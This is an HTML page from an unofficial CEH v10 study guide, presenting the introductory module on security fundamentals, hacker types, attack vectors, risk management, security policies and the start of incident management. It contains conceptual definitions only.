modules/All-Modules.html

<!DOCTYPE html>
<html lang="en">
<!--
                          _____                          
                   _.+sd$$$$$$$$$bs+._                   
               .+d$$$$$$$$$$$$$$$$$$$$$b+.               
            .sd$$$$$$$P^*^T$$$P^*"*^T$$$$$bs.            
          .s$$$$$$$$P*     `*' _._  `T$$$$$$$s.          
        .s$$$$$$$$$P          ` :$;   T$$$$$$$$s.        
       s$$$$$$$$$$;  db..+s.   `'    T$$$$$$$$$s       
     .$$$$$$$$$$$$'  `T$P*'             T$$$$$$$$$$.     
    .$$$$$$$$$$$$P                       T$$$$$$$$$$.    
   .$$$$$$$$$$$$$b                       `$$$$$$$$$$$.   
  :$$$$$$$$$$$$$$$.                       T$$$$$$$$$$$;  
  $$$$$$$$$P^*' :$$b.                     d$$$$$$$$$$$$  
 :$$$$$$$P'      T$$$$bs._               :P'`*^T$$$$$$$; 
 $$$$$$$P         `*T$$$$$b              '      `T$$$$$$ 
:$$$$$$$b            `*T$$$s                      :$$$$$;
:$$$$$$$$b.                                        $$$$$;
$$$$$$$$$$$b.                                     :$$$$$$
$$$$$$$$$$$$$bs.                                 .$$$$$$$
$$$$$$$$$$$$$$$$$bs.                           .d$$$$$$$$
:$$$$$$$$$$$$$P*"*T$$bs,._                  .sd$$$$$$$$$;
:$$$$$$$$$$$$P     TP^T$bss++.._____..++sd$$$$$$$$$$$$;
 $$$$$$$$$$$$b           `T$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
 :$$$$$$$$$$$$b.           `*T$$P^*"*"*^^*T$$$$$$$$$$$$; 
  $$$b       `T$b+                        :$$$$$$$BUG$$  
  :$P'         `"'               ,._.     ;$$$$$$$$$$$;  
   \                            `*TP*     d$$P*$   
    \                                    :$$P'      /    
     \                                  :dP'       /     
      `.                               d$P       .'      
        `.                             `'      .'        
          `-.                               .-'          
             `-.                         .-'             
                `*+-._             _.-+*'                
                      `"*-------*"'
-->

<head>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CEH v10 - Unofficial Study Guide - 2020</title>
  <style>
    body {
      background-color: #2a2b2e;
      font-family: Trebuchet MS, Lucida Grande, Lucida Sans Unicode, Lucida Sans, Tahoma, sans-serif;
      font-size: 16px;
      line-height: 1.5;
      letter-spacing: 0.3px;
      margin: 90px;
      padding: 0px;
    }

    h1 {
      font-size: 50px;
      color: white;
      text-decoration-line: underline;
    }

    h2 {
      font-size: 40px;
      color: #ffdf65;
    }

    h3 {
      font-size: 30px;
      color: white;
    }

    h4 {
      font-size: 20px;
      color: white;
    }

    h5 {
      font-size: 16px;
      color: white;
    }

    p,
    ul,
    li {
      font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
      color: #d6d6d6;
      font-size: 16px;
    }

    ul {
      list-style-type: square;
      color: black;
    }

    th {
      background-color: #1d1d1d;
    }

    table,
    td,
    th {
      border: 1px solid #ddd;
      text-align: left;
    }

    table {
      border-collapse: collapse;
      width: 100%;
      color: white;
    }

    th,
    td {
      padding: 15px;
    }

    a {
      color: #8089ff;
    }

    code {
      color: #a2ff77;
    }

    span {
      color: #a2ff77;
    }

    pre {
      margin-left: 40px;
      background-color: #171614;
      border-radius: 10px;
      padding: 17px;
    }

    blockquote {
      background-color: #3c3c3c;
      padding: 1px;
      border-radius: 10px;
    }

    img {
      max-width: 100%;
      height: auto;
    }
  </style>
</head>

<body>
  <p align="center">
    <img width="100%"
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/55c29341ff0f4bedab9817654b06cde10e2a4ed2/CEH-banner.jpg">
  </p>
  <h2>Index</h2>
  <ol start="0">
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/0-Introduction.md">Introduction to
        Information Security and Ethical Hacking</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/1-Reconnaissance-and-Footprinting.md">Reconnaissance
        and Footprinting</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/2-Scanning-and-Enumeration.md">Scanning
        and Enumeration</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/3-System-Hacking.md">System
        Hacking</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/4-Malware.md">Malwares</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/5-Sniffing.md">Sniffing</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/6-Social-Engineering.md">Social
        Engineering</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/7-Evading-IDS-Firewalls-and-Honeypots.md">Evading
        IDS, Firewalls and Honeypots</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/8-Denial-of-Service.md">Denial of
        Service</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/9-Session-Hijacking.md">Session
        Hijacking</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/10-Hacking-Web-Servers.md">Hacking
        Web Servers</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/11-Hacking-Web-Applications.md">Hacking
        Web Applications</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/12-Hacking-Wireless-Networks.md">Hacking
        Wireless Networks</a></li>
    <li><a
        href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/13-Hacking-Mobile-Platforms-and-IoT.md">Hacking
        IoT and Mobile Platforms</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/14-Pentesting.md">Pentesting</a>
    </li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/15-Cloud%2520Computing.md">Cloud
        Computing</a></li>
    <li><a href="https://github.com/Samsar4/CEH-v10-Study-Guide/blob/master/modules/16-Cryptography.md">Cryptography</a>
    </li>
  </ol>
  <hr>
  <h1>0. Introduction</h1>
  <h2><u> Fundamental Security Concepts </u></h2>
  <p>The whole principle is to avoid <strong>Theft, Tampering and Disruption</strong> of the systems through <strong>CIA
      Triad</strong> (Confidentiality, Integrity and Availability).</p>
  <p align="center">
    <img width="50%" src="https://i.ytimg.com/vi/AJTJN4wDBM8/hqdefault.jpg">
  </p>
  <ul>
    <li>
      <p><strong>Confidentiality</strong>
        Keeping systems and data from being accessed, seen, read to anyone who is not authorized to do so.</p>
    </li>
    <li>
      <p><strong>Integrity</strong>
        Protect the data from modification or deletion by unauthorized parties, and ensuring that when authorized people
        make changes that shouldn't have been made the damage can be undone.</p>
    </li>
    <li>
      <p><strong>Availability</strong>
        Systems, access channels, and authentication mechanisms must all be working properly for the information they
        provide and protect to be available when needed.</p>
    </li>
  </ul>
  <p><strong>Note:</strong> <em>In addition, other properties, such as authenticity, accountability, non-repudiation and
      reliability can also be involved. (ISO/IEC 27000:2009)</em></p>
  <ul>
    <li>
      <p><strong>Auditing &amp; Accountability</strong>
        Basically keep tracking of everthing, like, who's been logging in when are they loggin in whose access this
        data.</p>
    </li>
    <li>
      <p><strong>Non-Repudiation</strong>
        Non-repudiation is the assurance that someone cannot deny the validity of something. Non-repudiation is a legal
        concept that is widely used in information security and refers to a service, which provides proof of the origin
        of data and the integrity of the data.</p>
    </li>
  </ul>
  <h3><strong>Security, Functionality and Usability balance</strong></h3>
  <p>There is an inter dependency between these three attributes. When <strong>security goes up, usability and
      functionality come down</strong>. Any organization should balance between these three qualities to arrive at a
    balanced information system.</p>
  <p align="center">
    <img width="50%"
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/f14455ed4def635e1bc93b85657f43dbbf4a3127/triad2.png">
  </p>
  <h2><u>Types of Hackers</u></h2>
  <p align="center">
    <img width="50%" src="https://www.simplilearn.com/ice9/free_resources_article_thumb/types-hacker.JPG">
  </p>
  <blockquote>
    <ul>
      <li><strong>Black Hat</strong> - Hackers that seek to perform malicious activities.</li>
      <li><strong>Gray Hat</strong> - Hackers that perform good or bad activities but do not have the permission of the
        organization they are hacking against.</li>
      <li><strong>White Hat</strong> - Ethical hackers; They use their skills to improve security by exposing
        vulnerabilities before malicious hackers.</li>
    </ul>
  </blockquote>
  <p><strong>Script Kiddie / Skiddies</strong> - Unskilled individual who uses malicious scripts or programs, such as a
    web shell, developed by others to attack computer systems and networks and deface websites.</p>
  <p><strong>State-Sponsored Hacker</strong> - Hacker that is hired by a government or entity related.</p>
  <p><strong>Hacktivist</strong> - Someone who hacks for a cause; political agenda.</p>
  <p><strong>Suicide Hackers</strong> - Are hackers that are not afraid of going jail or facing any sort of punishment;
    hack to get the job done.</p>
  <p><strong>Cyberterrorist</strong> - Motivated by religious or political beliefs to create fear or disruption.</p>
  <h2><u>Hacking Vocabulary</u></h2>
  <ul>
    <li><strong>Hack value</strong> - Perceived value or worth of a target as seen by the attacker.</li>
    <li><strong>Vulnerability</strong> - A system flaw, weakness on the system (on design, implementation etc).</li>
    <li><strong>Threat</strong> - Exploits a vulnerability.</li>
    <li><strong>Exploit</strong> - Exploits are a way of gaining access to a system through a security flaw and taking
      advantage of the flaw for their benefit.</li>
    <li><strong>Payload</strong> - Component of an attack; is the part of the private user text which could also contain
      malware such as worms or viruses which performs the malicious action; deleting data, sending spam or encrypting
      data.</li>
    <li><strong>Zero-day attack</strong> - Attack that occurs before a vendor knows or is able to patch a flaw.</li>
    <li><strong>Daisy Chaining / Pivotting</strong> - It involves gaining access to a network and /or computer and then
      using the same information to gain access to multiple networks and computers that contains desirable information.
    </li>
    <li><strong>Doxxing</strong> - Publishing PII about an individual usually with a malicious intent.</li>
    <li><strong>Enterprise Information Security Architecture</strong> (EISA) - determines the structure and behavior of
      organization's information systems through processes, requirements, principles and models.</li>
  </ul>
  <h2><u> Threat Categories </u></h2>
  <ul>
    <li>
      <p><strong>Network Threats</strong></p>
      <ul>
        <li>Information gathering</li>
        <li>Sniffing and eavesdropping</li>
        <li>DNS/ARP Poisoning</li>
        <li>MITM (Man-in-the-Middle Attack)</li>
        <li>DoS/DDoS</li>
        <li>Password-based attacks</li>
        <li>Firewall and IDS attack</li>
        <li>Session Hijacking</li>
      </ul>
    </li>
    <li>
      <p><strong>Host Threats</strong></p>
      <ul>
        <li>Password cracking</li>
        <li>Malware attacks</li>
        <li>Footprinting</li>
        <li>Profiling</li>
        <li>Arbitrary code execution</li>
        <li>Backdoor access</li>
        <li>Privilege Escalation</li>
        <li>Code Execution</li>
      </ul>
    </li>
    <li>
      <p><strong>Application Threats</strong></p>
      <ul>
        <li>Injection Attacks</li>
        <li>Improper data/input validation</li>
        <li>Improper error handling and exeception management</li>
        <li>Hidden-field manipulation</li>
        <li>Broken session management</li>
        <li>Cryptography issues</li>
        <li>SQL injection</li>
        <li>Phishing</li>
        <li>Buffer Overflow</li>
        <li>Information disclosure</li>
        <li>Security Misconfigurations</li>
      </ul>
    </li>
  </ul>
  <h2><u> Attack Vectors </u></h2>
  <p><em>Path by which a hacker can gain access to a host in order to deliver a payload or malicious outcome</em></p>
  <ul>
    <li>
      <p><strong>APT - Advanced Persistent Threats</strong></p>
      <ul>
        <li>An advanced persistent threat is a stealthy threat actor, typically a nation state or state-sponsored group,
          which gains unauthorized access to a computer network and remains undetected for an extended period; Typically
          uses zero day attacks.</li>
      </ul>
    </li>
    <li>
      <p><strong>Cloud computing / Cloud based technologies</strong></p>
      <ul>
        <li>Flaw in one client's application cloud allow attacker to access other client's data</li>
      </ul>
    </li>
    <li>
      <p><strong>Viruses, worms, and malware</strong></p>
      <ul>
        <li>Viruses and worms are the most prevalent networking threat that are capable of infecting a network within
          seconds.</li>
      </ul>
    </li>
    <li>
      <p><strong>Ransomware</strong></p>
      <ul>
        <li>Restricts access to the computer system's files and folders and demands an online ransom payment to the
          attacker in order to remove the restrictions.</li>
      </ul>
    </li>
    <li>
      <p><strong>Mobile Device threats</strong></p>
    </li>
    <li>
      <p><strong>Botnets</strong></p>
      <ul>
        <li>Huge network of compromised systems used by an intruder to perform various network attacks</li>
      </ul>
    </li>
    <li>
      <p><strong>Insider attacks</strong></p>
      <ul>
        <li>Disgruntled employee can damage assets from inside.</li>
        <li>Huge network of compromised hosts. (used for DDoS).</li>
      </ul>
    </li>
    <li>
      <p><strong>Phishing attacks</strong></p>
    </li>
    <li>
      <p><strong>Web Application Threats</strong></p>
      <ul>
        <li>Attacks like SQL injection, XSS (Cross-site scripting)...</li>
      </ul>
    </li>
    <li>
      <p><strong>IoT Threats</strong></p>
    </li>
  </ul>
  <h2><u>Attack Types</u></h2>
  <h3>1. Operating System</h3>
  <p><em>Attacks targeting OS flaws or security issues inside such as guest accounts or default passwords.</em></p>
  <blockquote>
    <ul>
      <li><strong>Vectors</strong>: Buffer overflows, Protocol Implementations, software defects, patch levels,
        authentication schemes</li>
    </ul>
  </blockquote>
  <h3>2. Application Level</h3>
  <p><em>Attacks on programming code and software logic.</em></p>
  <blockquote>
    <ul>
      <li><strong>Vectors</strong>: Buffer overflows, Bugs, XSS, DoS, SQL Injection, MitM</li>
    </ul>
  </blockquote>
  <h3>3. Misconfiguration</h3>
  <p><em>Attack takes advantage of systems that are misconfigured due to improper configuration or default
      configuration.</em></p>
  <blockquote>
    <ul>
      <li><strong>Examples</strong>: Improper permissions of SQL users; Access-list permit all</li>
    </ul>
  </blockquote>
  <h3>4. Shrink-Wrap Code</h3>
  <p><em>Act of exploiting holes in unpatched or poorly-configured software.</em></p>
  <blockquote>
    <ul>
      <li><strong>Examples</strong>: Software defect in version 1.0; DEfect in example CGI scripts; Default passwords
      </li>
    </ul>
  </blockquote>
  <h2><u>Vulnerabilities</u></h2>
  <ul>
    <li><strong>CVSS - Common Vulnerability Scoring System</strong> <a
        href="https://nvd.nist.gov/vuln-metrics/cvss">[+]</a>
      <ul>
        <li>Places numerical score based on severity</li>
        <li><img
            src="https://3.bp.blogspot.com/-5V1cb_wTvsk/Wl78iF4Sd8I/AAAAAAAAF7U/KmK4pMXi54YworDgh4uI8aZtHgy0bbznQCLcBGAs/s1600/CVSS.png"
            alt="cvss"></li>
      </ul>
    </li>
    <li><strong>CVE – Common Vulnerabilities and Exposures</strong> <a href="https://cve.mitre.org/">[+]</a>
      <ul>
        <li>Is a list of publicly disclosed vulnerabilities and exposures that is maintained by MITRE.</li>
        <li><img src="https://i0.wp.com/gbhackers.com/wp-content/uploads/2016/10/cve.png?resize=486%252C408&amp;ssl=1"
            alt="cve"></li>
      </ul>
    </li>
    <li><strong>NVD - National Vulnerability Database</strong> <a href="https://nvd.nist.gov/">[+]</a>
      <ul>
        <li>is a database, maintained by NIST, that is fully synchronized with the MITRE CVE list; US Gov.
          vulnerabilities repository.</li>
      </ul>
    </li>
  </ul>
  <h3>Vulnerability Categories</h3>
  <ul>
    <li><strong>Misconfiguration</strong> - improperly configuring a service or application</li>
    <li><strong>Default installation</strong> - failure to change settings in an application that come by default</li>
    <li><strong>Buffer overflow</strong> - code execution flaw</li>
    <li><strong>Missing patches</strong> - systems that have not been patched</li>
    <li><strong>Design flaws</strong> - flaws inherent to system design such as encryption and data validation</li>
    <li><strong>Operating System Flaws</strong> - flaws specific to each OS</li>
    <li><strong>Default passwords</strong> - leaving default passwords that come with system/application</li>
  </ul>
  <h2><u>Pen test Phases (CEH)</u></h2>
  <ol>
    <li><strong>Pre-Attack Phase</strong> - Reconnaissance and data-gathering.</li>
    <li><strong>Attack Phase</strong> - Attempts to penetrate the network and execute attacks.</li>
    <li><strong>Post-Attack Phase</strong> - Cleanup to return a system to the pre-attack condition and deliver reports.
    </li>
  </ol>
  <blockquote>
    <p>⚠️ For the exam, EC-Council brings his own methodology and that's all you need for the exam; you can check
      another pentesting methodologies <a
        href="https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies">here</a>
      if you are interested; In case you are studying to become a professional pentester besides certification content,
      I recommend the <a href="https://www.isecom.org/research.html">OSSTMM</a> (Open Source Security Testing
      Methodology Manual).</p>
  </blockquote>
  <h2><u>The Five Stages of Ethical Hacking</u></h2>
  <h3>1. <strong>Reconnaissance</strong></h3>
  <p><em>Gathering evidence about targets</em>; There are two types of Recon:</p>
  <ul>
    <li><strong>Passive Reconnaissance</strong>: Gain information about targeted computers and networks <strong>without
        direct interaction with the systems</strong>.
      <ul>
        <li>e.g: Google Search, Public records, New releases, Social Media, Wardrive scanning networks around.</li>
      </ul>
    </li>
    <li><strong>Active Reconnaissance</strong>: Envolves direct interaction with the target.
      <ul>
        <li>e.g: Make a phone call to the target, Job interview; tools like Nmap, Nessus, OpenVAS, Nikto and Metasploit
          can be considered as Active Recon.</li>
      </ul>
    </li>
  </ul>
  <h3>2. <strong>Scanning &amp; Enumeration</strong></h3>
  <p><em>Obtaining more in-depth information about targets.</em></p>
  <ul>
    <li>e.g: Network Scanning, Port Scanning, Which versions of services are running.</li>
  </ul>
  <h3>3. <strong>Gaining Access</strong></h3>
  <p><em>Attacks are leveled in order to gain access to a system.</em></p>
  <ul>
    <li>e.g: Can be done locally (offline), over a LAN or over the internet.
      <ul>
        <li>e.g(2): Spoofing to exploit the system by pretending to be a legitimate user or different systems, they can
          send a data packet containing a bug to the target system in order to exploit a vulnerability.</li>
        <li>Can be done using many techniques like command injection, buffer overflow, DoS, brute forcing credentials,
          social engineering, misconfigurations etc.</li>
      </ul>
    </li>
  </ul>
  <h3>4. <strong>Maintaining Access</strong></h3>
  <p><em>Items put in place to ensure future access.</em></p>
  <ul>
    <li>e.g: Rookit, Trojan, Backdoor can be used.</li>
  </ul>
  <h3>5. <strong>Covering Tracks</strong></h3>
  <p><em>Steps taken to conceal success and intrusion; Not be noticed.</em></p>
  <ul>
    <li>e.g: Clear the logs; Obfuscate trojans or malicious backdoors programs.</li>
  </ul>
  <h2>Three Types of Active Defense</h2>
  <ul>
    <li><strong>Annoyance</strong>
      <ul>
        <li>Involves tracking a hacker and leading him into a fake server, wasting his time — and making him easy to
          detect.</li>
      </ul>
    </li>
    <li><strong>Attribution</strong>
      <ul>
        <li>Identify an attacker; Uses tools to trace the source of an attack back to a specific location, or even an
          individual hacker.</li>
      </ul>
    </li>
    <li><strong>Attack</strong>
      <ul>
        <li>That is most controversial. To “hack back,” a company accesses an alleged hacker’s computer to delete its
          data or even to take revenge. Both of these steps are considered illegal.</li>
      </ul>
    </li>
  </ul>
  <h2><u> Information Assurance (IA) </u></h2>
  <p><em>Refers to the assurance of the Integrity, Availability, confidentiality, and authenticity of information and
      information systems during usage, processing, storage and transmission of information.</em></p>
  <ul>
    <li><strong>Processes that help achieving IA:</strong>
      <ul>
        <li>Developing local policy, process, and guidance.</li>
        <li>Designing network and user authetication strategy.</li>
        <li>Identifying network vulnerabilities and threats (Vulnerability assessments outline the security posture of
          the network).</li>
        <li>Idenfitying problems and resource requirements.</li>
        <li>Creating plan for identified resource requirements.</li>
        <li>Applying appropriate IA controls.</li>
        <li>Performing C&amp;A (Certification and Accreditation) process of information systems helps to trace
          vulnerabilities, and implement sa fety measures.</li>
        <li>Providing information assurance training to all personnel in federal and private org.</li>
      </ul>
    </li>
  </ul>
  <h2><u>Information Security Management Program </u></h2>
  <p><em>Combination of policies, processes, procedures, standards, and guidelines to establish the required
      <strong>level of information security.</strong></em></p>
  <ul>
    <li>Designed to ensure the business operates in a state of reduced risk.</li>
    <li>It encompasses all organizational and operational processes and participants relevant to information security.
    </li>
  </ul>
  <p><img
      src="https://gist.githubusercontent.com/Samsar4/62886aac358c3d484a0ec17e8eb11266/raw/950220d4b802bb726fe84470c7a13055b056a621/infosec.jpg"
      alt="infosec"></p>
  <blockquote>
    <p>⚠️ <strong>IA</strong> focus on risk assessment, mitigation side of things;
      ⚠️ <strong>InfoSec</strong> focus on actually implementing security measures to safeguard systems.</p>
  </blockquote>
  <h2><u>EISA - Enterprise Information Security Architecture</u></h2>
  <p><em>Set of requirements, process, principles, and models that determines the structure and behavior of an
      organization's information systems.</em></p>
  <ul>
    <li><strong>Goals of EISA</strong>:
      <ul>
        <li>Help in monitoring and detecting network behaviors</li>
        <li>Detect and recover from security breaches</li>
        <li>Prioritizing resources of an organization</li>
        <li>Help to perform risk assessment of an organization's IT assets.</li>
        <li>Cost prospective when incorporated in security provisions such as incident response, disaster recovery,
          event correlation, etc.</li>
      </ul>
    </li>
  </ul>
  <h2><u>Physical Security Controls</u></h2>
  <ul>
    <li>
      <p><strong>Preventive control</strong>: Deters the actor from performing the threat.</p>
      <ul>
        <li>e.g: Fence, Server Locks, Mantraps, etc.</li>
      </ul>
    </li>
    <li>
      <p><strong>Detective control</strong>: Recognizes an actor's threat.</p>
      <ul>
        <li>e.g: Background check, CCTV.</li>
      </ul>
    </li>
    <li>
      <p><strong>Deterrent control</strong>: Deters the actor from <strong>attempting</strong> the threat.</p>
      <ul>
        <li>e.g: Warning Sign.</li>
      </ul>
    </li>
    <li>
      <p><strong>Recovery</strong>: Mitigates the impact of a manifested threat.</p>
      <ul>
        <li>e.g: Backups.</li>
      </ul>
    </li>
    <li>
      <p><strong>Compensating control</strong>: Provides alternative fixes to any of the above functions.</p>
    </li>
  </ul>
  <p><em>Most of security controls are preventive phase controls</em>.</p>
  <p>⚠️ <strong>Defense in Depth</strong>: Multiple layers of security controls; Provides redundancy in the event of a
    control failure. (e.g.: image below)</p>
  <p><img
      src="https://www.fairwarning.com/wp-content/uploads/2019/03/Defense-in-Depth-for-Cloud-Security-Rainbow-Diagram.png"
      alt="defense-in-depth"></p>
  <h3>Types of Security Controls</h3>
  <table>
    <thead>
      <tr>
        <th>Description</th>
        <th>Examples</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Physical</strong></td>
        <td>Guards, lights, cameras, fire extinguishers, flood protection</td>
      </tr>
      <tr>
        <td><strong>Administrative</strong></td>
        <td>Training awareness, policies, procedures and guidelines to infosec</td>
      </tr>
      <tr>
        <td><strong>Technical</strong></td>
        <td>IDS/IPS, Firewall, Encryption, Smart cards, Access control lists</td>
      </tr>
    </tbody>
  </table>
  <table>
    <thead>
      <tr>
        <th>Description</th>
        <th>Examples</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Preventative</strong></td>
        <td>authentication, alarm bells</td>
      </tr>
      <tr>
        <td><strong>Detective</strong></td>
        <td>audits, backups</td>
      </tr>
      <tr>
        <td><strong>Corrective</strong></td>
        <td>restore operations</td>
      </tr>
    </tbody>
  </table>
  <h2><u>Managing the Risk</u></h2>
  <p><strong>Risk</strong> can be defined as a probability of the occurrence of a threat or an event that may damage, or
    cause loss or have other negative impact either from internal or external liabilities.</p>
  <h3>Risk matrix</h3>
  <p>A <strong>risk matrix</strong> is used during <strong>risk assessment</strong> to define the level of risk by
    considering the category of <strong>probability or likelihood</strong> against the category of consequence
    <strong>severity</strong>.</p>
  <ul>
    <li>This is a simple mechanism to increase visibility of risks and assist management decision making.</li>
  </ul>
  <p><img src="https://paladinrisk.com.au/wp-content/uploads/2018/11/risk-1-1024x434.jpg" alt="matrix"></p>
  <h3>Risk Management</h3>
  <p><em>Is the identification, evaluation, and prioritization of risks followed by coordinated and economical
      application of resources to minimize, monitor, and control the probability or impact of unfortunate events or to
      maximize the realization of opportunities.</em></p>
  <h3>Phases of Risk Management</h3>
  <p align="center">
    <img width="60%"
      src="http://informeanual.abengoa.com/export/sites/abengoa_ia/2010/resources/images/responsabilidad_social/C12ING/12.6.jpg">
  </p>
  <ul>
    <li><strong>Risk Identification</strong>
      <ul>
        <li>Identifies the sources, causes, consequences of the internal and external risks.</li>
      </ul>
    </li>
    <li><strong>Risk Assessment</strong>
      <ul>
        <li>Assesses the org. risk and provides an estimate on the likelihood and impact of the risk</li>
      </ul>
    </li>
    <li><strong>Risk Treatment</strong>
      <ul>
        <li>Selects and implements appropriate controls on the identified risks</li>
      </ul>
    </li>
    <li><strong>Risk Tracking</strong>
      <ul>
        <li>Ensures appropriate control are implemented to handle risks and identifies the chance of a new risk
          occurring</li>
      </ul>
    </li>
    <li><strong>Risk Review</strong>
      <ul>
        <li>Evaluates the performance of the implemented risk management strategies</li>
      </ul>
    </li>
  </ul>
  <h3>Threat Modeling</h3>
  <p>Is a risk assessment approach for analyzing the security of an application by capturing, organizing and analyzing
    all the information that affects the security of an application.</p>
  <ol>
    <li>Identify Objectives
      <ul>
        <li>Helps to determine how much effort needs to be put on subsequent steps</li>
      </ul>
    </li>
    <li>Application Overview
      <ul>
        <li><strong>Identify the components</strong>, data flows, and trust boundaries</li>
      </ul>
    </li>
    <li>Decompose Application
      <ul>
        <li>Find <strong>more relevant details on threats</strong></li>
      </ul>
    </li>
    <li>Identify Threats
      <ul>
        <li>Identify threats relevant to your control scenario and context using the information obtained in steps 2 and
          3</li>
      </ul>
    </li>
    <li>Identify Vulnerabilities
      <ul>
        <li><strong>Identify weaknesses</strong> related to the threats found using vulnerability categories</li>
      </ul>
    </li>
  </ol>
  <h2><u>Security Policies</u></h2>
  <ol>
    <li><strong>Policies</strong> - High-level statements about protecting information; Business rules to safeguard CIA
      triad; Security Policies can be applied on Users, Systems, Partners, Networks, and Providers.
      <ul>
        <li><strong>Common Security Policies examples:</strong></li>
        <li>Password Policy
          - Meet the password complexity requirements.
          - e.g: Minimum 8 char length, upper and lower case and alphanumerical.</li>
        <li>Wireless Security Policy</li>
        <li>AUP - Acceptable Use-Policy
          - How to properly use company's assets
          - e.g: "Do's and Dont's" with company's computer.</li>
        <li>Data Retention Policy
          - e.g: Keep the data for X time.</li>
        <li>Access Control Policies
          - e.g: Accessing servers; Firewalls</li>
      </ul>
    </li>
    <li><strong>Procedures</strong> - Set of details steps to accomplish a goal; Instructions for implementation</li>
    <li><strong>Guidelines</strong> - Advice on actions given a situation; Recommended, not mandatory</li>
  </ol>
  <h2>Security Policy - Examples</h2>
  <ul>
    <li>
      <p><strong>Access Control Policy</strong></p>
      <ul>
        <li>This defines the resources being protected and the rules that control access to them</li>
      </ul>
    </li>
    <li>
      <p><strong>Remote Access Policy</strong></p>
      <ul>
        <li>This defines who can have remote access and defines access medium and remote access security controls.</li>
      </ul>
    </li>
    <li>
      <p><strong>Firewall Management Policy</strong></p>
      <ul>
        <li>This defines access, management and monitoring of firewalls in an organization.</li>
      </ul>
    </li>
    <li>
      <p><strong>Network Connection Policy</strong></p>
      <ul>
        <li>This defines who can install new resources on the network, approve the installation of new devices, document
          network changes etc.</li>
      </ul>
    </li>
    <li>
      <p><strong>Password Policy</strong></p>
      <ul>
        <li>This defines guidelines for using strong password protection on available resources.</li>
      </ul>
    </li>
    <li>
      <p><strong>User Account Policy</strong></p>
      <ul>
        <li>This defines the account creation process, authority, rights and responsibility of user accounts.</li>
      </ul>
    </li>
    <li>
      <p><strong>Information Protection Policy</strong></p>
      <ul>
        <li>This defines the sensitivity levels of information, who may have access, how it is stored and transmitted,
          and how it should be deleted from storage media etc.</li>
      </ul>
    </li>
    <li>
      <p><strong>Special Access Policy</strong></p>
      <ul>
        <li>This defines the terms and conditions of granting special access to system resources.</li>
      </ul>
    </li>
    <li>
      <p><strong>Email Security Policy</strong></p>
      <ul>
        <li>This policy is designed to govern the proper usage of corporate email.</li>
      </ul>
    </li>
    <li>
      <p><strong>Acceptable Use Policy</strong></p>
      <ul>
        <li>This defines the acceptable use of system resources.</li>
      </ul>
    </li>
  </ul>
  <h2>Security Policiy - Types</h2>
  <ol>
    <li>
      <p><strong>Promiscuous Policy</strong> - This policy usually has no restrictions on usage of system resources.</p>
    </li>
    <li>
      <p><strong>Permissive Policy</strong> - This policy begins wide open and only know dangerous services/attacks or
        behaviors are blocked. This type of policy has to be updated regularly to stay effective.</p>
    </li>
    <li>
      <p><strong>Prudent Policy</strong> - This policy provides maximum security while allowing known but necessary
        dangers. This type of policy will block all services and only safe/necessary services are enabled individually.
        Everything is logged.</p>
    </li>
    <li>
      <p><strong>Paranoid Policy</strong> - This policy forbids everything. No Internet connection or severely
        restricted Internet usage is allowed.</p>
    </li>
  </ol>
  <h2>Security Policy - Creation Steps</h2>
  <ol>
    <li>Perform a Risk Assessment</li>
    <li>Use security Standards and Frameworks as guide</li>
    <li>Get Management and Staff input</li>
    <li>Enforce the policy. Use penalties for non-compliance</li>
    <li>Publish final draft to entire org.</li>
    <li>Have all staff read/sign that they understood policy</li>
    <li>Employ tools to help enforce policy</li>
    <li>Staff training</li>
    <li>Review and update regularly</li>
  </ol>
  <h2><u>Incident Management Process</u></h2>
  <p><em>An incident is an event that could lead to loss of, or disruption to, an organization's operations, services or
      functions.</em></p>
  <p><em><strong>Incident management</strong> is a term describing the activities of an organization to identify,
      analyze, and correct hazards to prevent a future re-occurrence.</em></p>
  <ol>
    <li><strong>Preparation:</strong> Select people, assign rules, define tools to handle the incident.</li>
    <li><strong>Detection &amp; Analysis:</strong> Determine an incident has ocurred (IDS, SIEM, AV, Someone reporting,
      etc).</li>
    <li><strong>Classification and Prioritization:</strong></li>
    <li><strong>Notification:</strong> Identify minor and major incident; who and how to notify an incident.</li>
    <li><strong>Containment:</strong> Limit the damage; Isolate hosts; Contact system owners.</li>
    <li><strong>Forensic Investigation:</strong> Investigate the root cause of the incident using forensic tools; System
      logs, real-time memory, network device logs, application logs, etc;</li>
